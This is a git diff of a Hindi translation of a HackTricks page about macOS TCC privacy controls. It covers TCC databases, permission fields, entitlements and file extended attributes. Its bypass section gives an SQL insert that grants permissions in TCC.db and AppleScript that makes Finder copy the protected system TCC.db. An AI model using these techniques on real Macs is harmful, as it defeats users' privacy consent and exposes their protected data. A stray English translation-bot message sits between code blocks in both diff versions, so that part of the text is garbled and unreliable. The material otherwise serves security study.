* क्या आप **cybersecurity company** में काम करते हैं? क्या आप चाहते हैं कि आपकी **company का विज्ञापन HackTricks में दिखाई दे**? या क्या आप **PEASS के नवीनतम संस्करण तक पहुँचना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) देखें!
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
|
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
* [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
|
||||||
* **[**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) या [**telegram group**](https://t.me/peass) में शामिल हों** या **Twitter** पर मुझे **फॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) या [**telegram group**](https://t.me/peass) या **Twitter** पर मुझे **follow** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **hacktricks repo** और **hacktricks-cloud repo** में PRs सबमिट करके अपनी hacking tricks साझा करें।
|
* **hacktricks repo** में PRs सबमिट करके अपनी hacking tricks साझा करें और [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## **मूल जानकारी**
|
## **मूल जानकारी**
|
||||||
|
|
||||||
**TCC (Transparency, Consent, and Control)** macOS में एक तंत्र है जो **विशेष सुविधाओं तक एप्लिकेशन की पहुँच को सीमित और नियंत्रित करता है**, आमतौर पर गोपनीयता के दृष्टिकोण से। इसमें लोकेशन सर्विसेज, संपर्क, फोटो, माइक्रोफोन, कैमरा, एक्सेसिबिलिटी, पूर्ण डिस्क एक्सेस और बहुत कुछ शामिल हो सकता है।
|
**TCC (Transparency, Consent, and Control)** macOS में एक तंत्र है जो **विशेष सुविधाओं तक एप्लिकेशन की पहुँच को सीमित और नियंत्रित करता है**, आमतौर पर गोपनीयता के दृष्टिकोण से। इसमें लोकेशन सेवाएं, संपर्क, फोटो, माइक्रोफोन, कैमरा, एक्सेसिबिलिटी, पूर्ण डिस्क एक्सेस और बहुत कुछ शामिल हो सकता है।
|
||||||
|
|
||||||
उपयोगकर्ता के दृष्टिकोण से, जब कोई एप्लिकेशन TCC द्वारा संरक्षित किसी सुविधा तक पहुँच चाहता है तो वे TCC को क्रिया में देखते हैं। जब ऐसा होता है तो **उपयोगकर्ता को एक संवाद बॉक्स प्रदर्शित होता है** जो उनसे पूछता है कि क्या वे पहुँच की अनुमति देना चाहते हैं या नहीं।
|
उपयोगकर्ता के दृष्टिकोण से, जब कोई एप्लिकेशन TCC द्वारा संरक्षित किसी सुविधा तक पहुँचना चाहता है तो वे TCC को क्रिया में देखते हैं। जब ऐसा होता है तो **उपयोगकर्ता को एक संवाद बॉक्स प्रदर्शित होता है** जो उनसे पूछता है कि क्या वे पहुँच की अनुमति देना चाहते हैं या नहीं।
|
||||||
|
|
||||||
यह भी संभव है कि **एप्लिकेशन्स को फाइलों तक पहुँच दी जाए** उपयोगकर्ताओं के **स्पष्ट इरादों** से, उदाहरण के लिए जब एक उपयोगकर्ता **एक फाइल को किसी प्रोग्राम में ड्रैग\&ड्रॉप करता है** (स्पष्ट है कि प्रोग्राम को इसकी पहुँच होनी चाहिए)।
|
यह भी संभव है कि **एप्लिकेशन को फाइलों तक पहुँच प्रदान की जाए** उपयोगकर्ताओं द्वारा **स्पष्ट इरादों** के माध्यम से, उदाहरण के लिए जब एक उपयोगकर्ता **एक फाइल को किसी प्रोग्राम में खींचकर छोड़ता है** (स्पष्ट रूप से प्रोग्राम को इसकी पहुँच होनी चाहिए)।
|
||||||
|
|
||||||
![TCC प्रॉम्प्ट का एक उदाहरण](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855)
|
![TCC के एक प्रॉम्प्ट का उदाहरण](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855)
|
||||||
|
|
||||||
**TCC** `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` में स्थित **daemon** द्वारा संभाला जाता है और `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` में कॉन्फ़िगर किया गया है (mach service `com.apple.tccd.system` को रजिस्टर करता है)।
|
**TCC** `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` में स्थित **daemon** द्वारा संभाला जाता है और `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` में कॉन्फ़िगर किया गया है (mach service `com.apple.tccd.system` को रजिस्टर करता है)।
|
||||||
|
|
||||||
एक **user-mode tccd** होता है जो प्रत्येक लॉग इन किए गए उपयोगकर्ता के लिए `/System/Library/LaunchAgents/com.apple.tccd.plist` में परिभाषित होता है जो mach services `com.apple.tccd` और `com.apple.usernotifications.delegate.com.apple.tccd` को रजिस्टर करता है।
|
एक **user-mode tccd** होता है जो प्रत्येक लॉग इन किए गए उपयोगकर्ता के लिए `/System/Library/LaunchAgents/com.apple.tccd.plist` में परिभाषित होता है, जो mach services `com.apple.tccd` और `com.apple.usernotifications.delegate.com.apple.tccd` को रजिस्टर करता है।
|
||||||
|
|
||||||
यहाँ आप system और user के रूप में चल रहे tccd को देख सकते हैं:
|
यहाँ आप system और user के रूप में चल रहे tccd को देख सकते हैं:
|
||||||
```
|
```
|
||||||
|
@ -34,27 +34,27 @@ ps -ef | grep tcc
|
||||||
0 374 1 0 Thu07PM ?? 2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system
|
0 374 1 0 Thu07PM ?? 2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system
|
||||||
501 63079 1 0 6:59PM ?? 0:01.95 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd
|
501 63079 1 0 6:59PM ?? 0:01.95 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd
|
||||||
```
|
```
|
||||||
अनुमतियाँ **मूल एप्लिकेशन से विरासत में मिली होती हैं** और अनुमतियाँ **बंडल ID** और **डेवलपर ID** के आधार पर **ट्रैक की जाती हैं**।
|
अनुमतियाँ **मूल एप्लिकेशन से विरासत में मिली होती हैं** और अनुमतियाँ **बंडल आईडी** और **डेवलपर आईडी** के आधार पर **ट्रैक की जाती हैं**।
|
||||||
|
|
||||||
### TCC डेटाबेस
|
### TCC डेटाबेस
|
||||||
|
|
||||||
अनुमतियाँ/अस्वीकृतियाँ फिर कुछ TCC डेटाबेस में संग्रहीत की जाती हैं:
|
अनुमतियाँ/अस्वीकृतियाँ फिर कुछ TCC डेटाबेस में संग्रहीत की जाती हैं:
|
||||||
|
|
||||||
* सिस्टम-व्यापी डेटाबेस **`/Library/Application Support/com.apple.TCC/TCC.db`** में।
|
* सिस्टम-व्यापी डेटाबेस **`/Library/Application Support/com.apple.TCC/TCC.db`** में होता है।
|
||||||
* यह डेटाबेस **SIP संरक्षित** है, इसलिए केवल SIP बायपास ही इसमें लिख सकता है।
|
* यह डेटाबेस **SIP संरक्षित** है, इसलिए केवल SIP बायपास ही इसमें लिख सकता है।
|
||||||
* प्रति-उपयोगकर्ता प्राथमिकताओं के लिए उपयोगकर्ता TCC डेटाबेस **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**।
|
* प्रति-उपयोगकर्ता प्राथमिकताओं के लिए उपयोगकर्ता TCC डेटाबेस **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**।
|
||||||
* यह डेटाबेस संरक्षित है इसलिए केवल उच्च TCC विशेषाधिकार वाली प्रक्रियाएँ जैसे कि Full Disk Access ही इसमें लिख सकती हैं (लेकिन यह SIP द्वारा संरक्षित नहीं है)।
|
* यह डेटाबेस संरक्षित है इसलिए केवल उच्च TCC विशेषाधिकार वाली प्रक्रियाएँ जैसे कि Full Disk Access ही इसमें लिख सकती हैं (लेकिन यह SIP द्वारा संरक्षित नहीं है)।
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
पिछले डेटाबेस भी **पढ़ने के लिए TCC संरक्षित हैं**। इसलिए आप अपने सामान्य उपयोगकर्ता TCC डेटाबेस को नहीं पढ़ पाएंगे जब तक कि यह एक TCC विशेषाधिकार वाली प्रक्रिया से न हो।
|
पिछले डेटाबेस भी **पढ़ने के लिए TCC संरक्षित** हैं। इसलिए आप अपने सामान्य उपयोगकर्ता TCC डेटाबेस को तब तक **नहीं पढ़ पाएंगे** जब तक यह एक TCC विशेषाधिकार वाली प्रक्रिया से न हो।
|
||||||
|
|
||||||
हालांकि, याद रखें कि इन उच्च विशेषाधिकारों वाली प्रक्रिया (जैसे कि **FDA** या **`kTCCServiceEndpointSecurityClient`**) उपयोगकर्ता के TCC डेटाबेस में लिख सकती है।
|
हालांकि, याद रखें कि इन उच्च विशेषाधिकारों वाली प्रक्रिया (जैसे कि **FDA** या **`kTCCServiceEndpointSecurityClient`**) उपयोगकर्ता के TCC डेटाबेस में लिख सकती है।
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
* **`/var/db/locationd/clients.plist`** में एक **तीसरा** TCC डेटाबेस है जो **स्थान सेवाओं के उपयोग की अनुमति वाले ग्राहकों** को दर्शाता है।
|
* **स्थान सेवाओं** के लिए अनुमति देने वाले ग्राहकों को दर्शाने के लिए **तीसरा** TCC डेटाबेस **`/var/db/locationd/clients.plist`** में है।
|
||||||
* SIP संरक्षित फ़ाइल **`/Users/carlospolop/Downloads/REG.db`** (TCC के साथ पढ़ने के लिए भी संरक्षित), सभी **वैध TCC डेटाबेसों** के **स्थान** को समाहित करती है।
|
* SIP संरक्षित फ़ाइल **`/Users/carlospolop/Downloads/REG.db`** (TCC के साथ पढ़ने के लिए भी संरक्षित), सभी **वैध TCC डेटाबेसों** के **स्थान** को समाहित करती है।
|
||||||
* SIP संरक्षित फ़ाइल **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (TCC के साथ पढ़ने के लिए भी संरक्षित), अधिक TCC अनुमतियों को समाहित करती है।
|
* SIP संरक्षित फ़ाइल **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (TCC के साथ पढ़ने के लिए भी संरक्षित), अधिक TCC अनुमतियाँ दी गई हैं।
|
||||||
* SIP संरक्षित फ़ाइल **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (लेकिन किसी भी व्यक्ति द्वारा पढ़ी जा सकती है) एक अनुमति सूची है जो एप्लिकेशनों को TCC अपवाद की आवश्यकता होती है। 
|
* SIP संरक्षित फ़ाइल **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (लेकिन किसी भी व्यक्ति द्वारा पढ़ी जा सकती है) एक अनुमति सूची है जिसमें उन एप्लिकेशनों का उल्लेख है जिन्हें TCC अपवाद की आवश्यकता है।
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
**iOS** में TCC डेटाबेस **`/private/var/mobile/Library/TCC/TCC.db`** में है।
|
**iOS** में TCC डेटाबेस **`/private/var/mobile/Library/TCC/TCC.db`** में है।
|
||||||
|
@ -78,7 +78,7 @@ com.apple.rootless.storage.TCC
|
||||||
#### डेटाबेस की पूछताछ करें
|
#### डेटाबेस की पूछताछ करें
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="user DB" %}
|
{% tab title="उपयोगकर्ता DB" %}
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db
|
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db
|
||||||
|
@ -96,7 +96,7 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=2;
|
||||||
# Check user denied permissions for telegram
|
# Check user denied permissions for telegram
|
||||||
sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
|
sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
|
||||||
```
|
```
|
||||||
Since the content to be translated is not provided, I'm unable to proceed with the translation. Please provide the English text that you would like to have translated into Hindi.
|
Since the content to be translated has not been provided, I'm unable to proceed with the translation. Please provide the English text that needs to be translated into Hindi, and I will translate it while maintaining the markdown and HTML syntax as requested.
|
||||||
```bash
|
```bash
|
||||||
sqlite3 /Library/Application\ Support/com.apple.TCC/TCC.db
|
sqlite3 /Library/Application\ Support/com.apple.TCC/TCC.db
|
||||||
sqlite> .schema
|
sqlite> .schema
|
||||||
|
@ -173,9 +173,7 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
|
||||||
|
|
||||||
* **`auth_value`** विभिन्न मान ले सकता है: denied(0), unknown(1), allowed(2), या limited(3).
|
* **`auth_value`** विभिन्न मान ले सकता है: denied(0), unknown(1), allowed(2), या limited(3).
|
||||||
* **`auth_reason`** निम्नलिखित मान ले सकता है: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
|
* **`auth_reason`** निम्नलिखित मान ले सकता है: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
|
||||||
* **csreq** क्षेत्र यह इंगित करने के लिए है कि कैसे बाइनरी को सत्यापित करने और TCC अनुमतियाँ प्रदान करने के लिए:
|
* **csreq** क्षेत्र यह इंगित करने के लिए है कि बाइनरी को कैसे सत्यापित करें और TCC अनुमतियाँ प्रदान करें:
|
||||||
|
|
||||||
</details>
|
|
||||||
```bash
|
```bash
|
||||||
# Query to get cserq in printable hex
|
# Query to get cserq in printable hex
|
||||||
select service, client, hex(csreq) from access where auth_value=2;
|
select service, client, hex(csreq) from access where auth_value=2;
|
||||||
|
@ -193,10 +191,10 @@ echo "X'$REQ_HEX'"
|
||||||
```
|
```
|
||||||
* अधिक जानकारी के लिए तालिका के **अन्य फील्ड्स** के बारे में [**इस ब्लॉग पोस्ट को देखें**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive).
|
* अधिक जानकारी के लिए तालिका के **अन्य फील्ड्स** के बारे में [**इस ब्लॉग पोस्ट को देखें**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive).
|
||||||
|
|
||||||
आप `System Preferences --> Security & Privacy --> Privacy --> Files and Folders` में **पहले से दी गई अनुमतियों** को भी देख सकते हैं।
|
आप `System Preferences --> Security & Privacy --> Privacy --> Files and Folders` में ऐप्स को **पहले से दिए गए अनुमतियां** भी देख सकते हैं।
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
उपयोगकर्ता **`tccutil`** का उपयोग करके **नियमों को हटा सकते हैं या जांच सकते हैं**।
|
उपयोगकर्ता **`tccutil`** का उपयोग करके नियमों को **हटा सकते हैं या जांच सकते हैं**।
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
#### TCC अनुमतियों को रीसेट करें
|
#### TCC अनुमतियों को रीसेट करें
|
||||||
|
@ -209,7 +207,7 @@ tccutil reset All
|
||||||
```
|
```
|
||||||
### TCC हस्ताक्षर जांच
|
### TCC हस्ताक्षर जांच
|
||||||
|
|
||||||
TCC **डेटाबेस** एप्लिकेशन के **Bundle ID** को संग्रहीत करता है, परंतु यह **जानकारी** भी **संग्रहीत** करता है कि **हस्ताक्षर** के बारे में **सुनिश्चित** करने के लिए कि अनुमति का उपयोग करने के लिए पूछने वाला ऐप सही है।
|
TCC **डेटाबेस** एप्लिकेशन के **Bundle ID** को संग्रहीत करता है, परंतु यह **जानकारी** भी संग्रहीत करता है कि **हस्ताक्षर** के बारे में **सुनिश्चित** करने के लिए कि अनुमति का उपयोग करने के लिए पूछने वाला ऐप सही है।
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
|
@ -226,17 +224,17 @@ csreq -t -r /tmp/telegram_csreq.bin
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
इसलिए, एक ही नाम और बंडल ID वाले अन्य एप्लिकेशन्स दूसरे एप्स को दिए गए अनुमतियों तक पहुँचने में सक्षम नहीं होंगे।
|
इसलिए, एक ही नाम और बंडल ID का उपयोग करने वाले अन्य एप्लिकेशन अन्य एप्स को दिए गए अनुमतियों तक पहुँचने में सक्षम नहीं होंगे।
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### Entitlements & TCC Permissions
|
### Entitlements & TCC अनुमतियाँ
|
||||||
|
|
||||||
एप्लिकेशन्स को **केवल अनुरोध करने की जरूरत नहीं होती** और कुछ संसाधनों तक पहुँचने के लिए **अनुमति प्राप्त की जाती है**, उन्हें **संबंधित entitlements भी होनी चाहिए**।\
|
एप्लिकेशन **केवल अनुरोध करने की जरूरत नहीं होती** और कुछ संसाधनों तक पहुँचने के लिए **अनुमति प्राप्त की गई हो**, उन्हें **संबंधित entitlements भी होनी चाहिए**।\
|
||||||
उदाहरण के लिए **Telegram** के पास कैमरा तक पहुँच के लिए अनुरोध करने के लिए entitlement `com.apple.security.device.camera` है। एक **एप्लिकेशन** जिसके पास यह **entitlement नहीं है** वह कैमरा तक पहुँचने में सक्षम **नहीं होगा** (और उपयोगकर्ता से अनुमतियों के लिए भी नहीं पूछा जाएगा)।
|
उदाहरण के लिए **Telegram** के पास कैमरा तक पहुँच के लिए अनुरोध करने के लिए entitlement `com.apple.security.device.camera` है। एक **एप्लिकेशन** जिसके पास यह **entitlement नहीं है** वह कैमरा तक पहुँचने में सक्षम **नहीं होगा** (और उपयोगकर्ता से अनुमतियों के लिए भी नहीं पूछा जाएगा)।
|
||||||
|
|
||||||
हालांकि, एप्लिकेशन्स को `~/Desktop`, `~/Downloads` और `~/Documents` जैसे **कुछ उपयोगकर्ता फोल्डर्स** तक **पहुँचने के लिए** किसी विशेष **entitlements की जरूरत नहीं होती है।** सिस्टम स्वचालित रूप से पहुँच को संभालेगा और जरूरत पड़ने पर **उपयोगकर्ता को संकेत देगा**।
|
हालांकि, एप्लिकेशन को `~/Desktop`, `~/Downloads` और `~/Documents` जैसे **कुछ उपयोगकर्ता फोल्डरों** तक **पहुँचने** के लिए किसी विशेष **entitlements की जरूरत नहीं होती है।** सिस्टम पारदर्शी रूप से पहुँच को संभालेगा और जरूरत के अनुसार **उपयोगकर्ता को संकेत देगा**।
|
||||||
|
|
||||||
Apple के एप्लिकेशन्स **संकेत उत्पन्न नहीं करेंगे**। उनमें उनकी **entitlements सूची में पूर्व-अनुमत अधिकार** होते हैं, जिसका अर्थ है कि वे **कभी भी पॉपअप उत्पन्न नहीं करेंगे**, **न ही** वे किसी भी **TCC डेटाबेस में दिखाई देंगे।** उदाहरण के लिए:
|
Apple के एप्लिकेशन **संकेत उत्पन्न नहीं करेंगे**। उनमें उनकी **entitlements सूची** में **पूर्व-अनुमत अधिकार** होते हैं, जिसका अर्थ है कि वे **कभी भी पॉपअप उत्पन्न नहीं करेंगे**, **न ही** वे किसी भी **TCC डेटाबेस** में दिखाई देंगे। उदाहरण के लिए:
|
||||||
```bash
|
```bash
|
||||||
codesign -dv --entitlements :- /System/Applications/Calendar.app
|
codesign -dv --entitlements :- /System/Applications/Calendar.app
|
||||||
[...]
|
[...]
|
||||||
|
@ -247,13 +245,13 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
|
||||||
<string>kTCCServiceAddressBook</string>
|
<string>kTCCServiceAddressBook</string>
|
||||||
</array>
|
</array>
|
||||||
```
|
```
|
||||||
इससे कैलेंडर को यूजर से रिमाइंडर्स, कैलेंडर और एड्रेस बुक तक पहुंचने के लिए पूछने से बचा जा सकेगा।
|
इससे कैलेंडर उपयोगकर्ता से रिमाइंडर्स, कैलेंडर और पता पुस्तिका तक पहुँचने के लिए नहीं पूछेगा।
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
कुछ आधिकारिक दस्तावेजों के अलावा, एंटाइटलमेंट्स के बारे में **अनौपचारिक रोचक जानकारी** भी [**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl) पर मिल सकती है।
|
कुछ आधिकारिक दस्तावेज़ीकरण के अलावा, अधिकारों के बारे में अनौपचारिक **रोचक जानकारी** भी [**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl) पर मिल सकती है।
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
कुछ TCC अनुमतियां हैं: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... इन सभी की एक सार्वजनिक सूची नहीं है लेकिन आप इस [**ज्ञात सूची**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service) को देख सकते हैं।
|
कुछ TCC अनुमतियाँ हैं: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... उन सभी की कोई सार्वजनिक सूची नहीं है लेकिन आप इस [**ज्ञात सूची**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service) को देख सकते हैं।
|
||||||
|
|
||||||
### संवेदनशील असुरक्षित स्थान
|
### संवेदनशील असुरक्षित स्थान
|
||||||
|
|
||||||
|
@ -261,9 +259,9 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
|
||||||
* $HOME/.ssh, $HOME/.aws, आदि
|
* $HOME/.ssh, $HOME/.aws, आदि
|
||||||
* /tmp
|
* /tmp
|
||||||
|
|
||||||
### यूजर इरादा / com.apple.macl
|
### उपयोगकर्ता इरादा / com.apple.macl
|
||||||
|
|
||||||
पहले उल्लेखित अनुसार, यह संभव है कि **एक फाइल को उसे ड्रैग एंड ड्रॉप करके एक ऐप को एक्सेस दिया जा सकता है**। यह एक्सेस किसी भी TCC डेटाबेस में निर्दिष्ट नहीं होगा लेकिन एक **विस्तारित** **फाइल के गुण के रूप में**। यह गुण **अनुमति प्राप्त ऐप का UUID स्टोर करेगा**।
|
पहले उल्लेख किया गया है, यह संभव है कि **एक ऐप को फाइल तक पहुँच देने के लिए उसे ड्रैग एंड ड्रॉप करके उसमें डाला जा सकता है**। यह पहुँच TCC डेटाबेस में कहीं निर्दिष्ट नहीं होगी लेकिन फाइल के **विस्तारित गुण** के रूप में होगी। यह गुण **अनुमति प्राप्त ऐप का UUID संग्रहित करेगा**।
|
||||||
```bash
|
```bash
|
||||||
xattr Desktop/private.txt
|
xattr Desktop/private.txt
|
||||||
com.apple.macl
|
com.apple.macl
|
||||||
|
@ -281,20 +279,20 @@ uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
यह जिज्ञासा की बात है कि **`com.apple.macl`** विशेषता का प्रबंधन **Sandbox** द्वारा किया जाता है, tccd द्वारा नहीं।
|
यह जिज्ञासा की बात है कि **`com.apple.macl`** विशेषता का प्रबंधन **Sandbox** द्वारा किया जाता है, tccd द्वारा नहीं।
|
||||||
|
|
||||||
यह भी ध्यान दें कि यदि आप एक फाइल को जो आपके कंप्यूटर में एक ऐप के UUID की अनुमति देती है, एक अलग कंप्यूटर में स्थानांतरित करते हैं, क्योंकि वही ऐप विभिन्न UIDs के साथ होगा, वह उस ऐप को उस फाइल तक पहुँच प्रदान नहीं करेगा।
|
यह भी ध्यान दें कि यदि आप एक फाइल को जो आपके कंप्यूटर में एक ऐप के UUID की अनुमति देती है, एक अलग कंप्यूटर पर ले जाते हैं, क्योंकि वही ऐप अलग UIDs के साथ होगा, यह उस ऐप को उस तक पहुँच की अनुमति नहीं देगा।
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
विस्तारित विशेषता `com.apple.macl` **साफ़ नहीं की जा सकती** क्योंकि यह **SIP द्वारा सुरक्षित है**। हालांकि, [**इस पोस्ट में बताया गया है**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), इसे अक्षम करना संभव है फाइल को **ज़िप करके**, **हटाकर** और **अनज़िप करके**।
|
विस्तारित विशेषता `com.apple.macl` को अन्य विस्तारित विशेषताओं की तरह **साफ नहीं किया जा सकता** क्योंकि यह **SIP द्वारा सुरक्षित है**। हालांकि, [**इस पोस्ट में बताया गया है**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/) कि फाइल को **zipping** करके, **deleting** करके और **unzipping** करके इसे अक्षम करना संभव है।
|
||||||
|
|
||||||
## TCC Privesc & Bypasses
|
## TCC Privesc & Bypasses
|
||||||
|
|
||||||
### TCC में प्रविष्टि करें
|
### TCC में प्रविष्टि
|
||||||
|
|
||||||
यदि किसी बिंदु पर आप TCC डेटाबेस पर लिखने की पहुँच प्राप्त कर लेते हैं, तो आप निम्नलिखित का उपयोग करके एक प्रविष्टि जोड़ सकते हैं (टिप्पणियों को हटा दें):
|
यदि किसी बिंदु पर आप TCC डेटाबेस पर लिखने की पहुँच प्राप्त कर लेते हैं, तो आप निम्नलिखित का उपयोग करके एक प्रविष्टि जोड़ सकते हैं (टिप्पणियों को हटा दें):
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>TCC में प्रविष्टि करने का उदाहरण</summary>
|
<summary>TCC में प्रविष्टि का उदाहरण</summary>
|
||||||
```sql
|
```sql
|
||||||
INSERT INTO access (
|
INSERT INTO access (
|
||||||
service,
|
service,
|
||||||
|
@ -336,12 +334,12 @@ strftime('%s', 'now') -- last_reminded with default current timestamp
|
||||||
```
|
```
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
### स्वचालन से FDA\*
|
### ऑटोमेशन (फाइंडर) से FDA\*
|
||||||
|
|
||||||
TCC का स्वचालन अनुमति नाम है: **`kTCCServiceAppleEvents`**\
|
TCC की ऑटोमेशन अनुमति का नाम है: **`kTCCServiceAppleEvents`**\
|
||||||
यह विशिष्ट TCC अनुमति यह भी दर्शाती है कि **कौन सा एप्लिकेशन प्रबंधित किया जा सकता है** TCC डेटाबेस के अंदर (इसलिए अनुमतियाँ सिर्फ सब कुछ प्रबंधित करने की अनुमति नहीं देती हैं)।
|
यह विशेष TCC अनुमति यह भी इंगित करती है कि **कौन सा एप्लिकेशन TCC डेटाबेस के अंदर प्रबंधित किया जा सकता है** (इसलिए अनुमतियाँ सिर्फ सब कुछ प्रबंधित करने की अनुमति नहीं देती हैं)।
|
||||||
|
|
||||||
**Finder** एक ऐसा एप्लिकेशन है जिसके पास **हमेशा FDA होता है** (भले ही यह UI में न दिखाई दे), इसलिए यदि आपके पास इस पर **स्वचालन** विशेषाधिकार हैं, तो आप इसके विशेषाधिकारों का दुरुपयोग करके **कुछ क्रियाएँ करवा सकते हैं**।\
|
**फाइंडर** एक ऐसा एप्लिकेशन है जिसके पास **हमेशा FDA होता है** (भले ही यह UI में न दिखाई दे), इसलिए यदि आपके पास इस पर **ऑटोमेशन** विशेषाधिकार हैं, तो आप इसके विशेषाधिकारों का दुरुपयोग करके **कुछ क्रियाएं करवा सकते हैं**।\
|
||||||
इस मामले में आपके एप्लिकेशन को **`com.apple.Finder`** पर **`kTCCServiceAppleEvents`** की अनुमति की आवश्यकता होगी।
|
इस मामले में आपके एप्लिकेशन को **`com.apple.Finder`** पर **`kTCCServiceAppleEvents`** की अनुमति की आवश्यकता होगी।
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
|
@ -364,7 +362,7 @@ EOD
|
||||||
```
|
```
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
|
|
||||||
{% tab title="Steal systems TCC.db" %}
|
{% tab title="सिस्टम्स TCC.db चुराएं" %}
|
||||||
```applescript
|
```applescript
|
||||||
osascript<<EOD
|
osascript<<EOD
|
||||||
tell application "Finder"
|
tell application "Finder"
|
||||||
|
@ -385,12 +383,12 @@ EOD
|
||||||
आप इसका दुरुपयोग करके **अपना स्वयं का उपयोगकर्ता TCC डेटाबेस लिख सकते हैं**।
|
आप इसका दुरुपयोग करके **अपना स्वयं का उपयोगकर्ता TCC डेटाबेस लिख सकते हैं**।
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
इस अनुमति के साथ आप **finder से TCC प्रतिबंधित फ़ोल्डरों तक पहुँचने के लिए कह सकते हैं** और आपको फ़ाइलें दे सकते हैं, लेकिन जहाँ तक मुझे पता है आप **Finder को मनमाना कोड निष्पादित करने के लिए नहीं बना पाएंगे** ताकि उसके FDA एक्सेस का पूर्ण दुरुपयोग कर सकें।
|
इस अनुमति के साथ आप **finder से TCC प्रतिबंधित फ़ोल्डरों तक पहुँचने के लिए कह सकते हैं** और आपको फ़ाइलें दे सकते हैं, लेकिन जहाँ तक मुझे पता है आप **Finder को मनमाना कोड निष्पादित करने के लिए नहीं बना पाएंगे** ताकि उसके FDA एक्सेस का पूरा दुरुपयोग कर सकें।
|
||||||
|
|
||||||
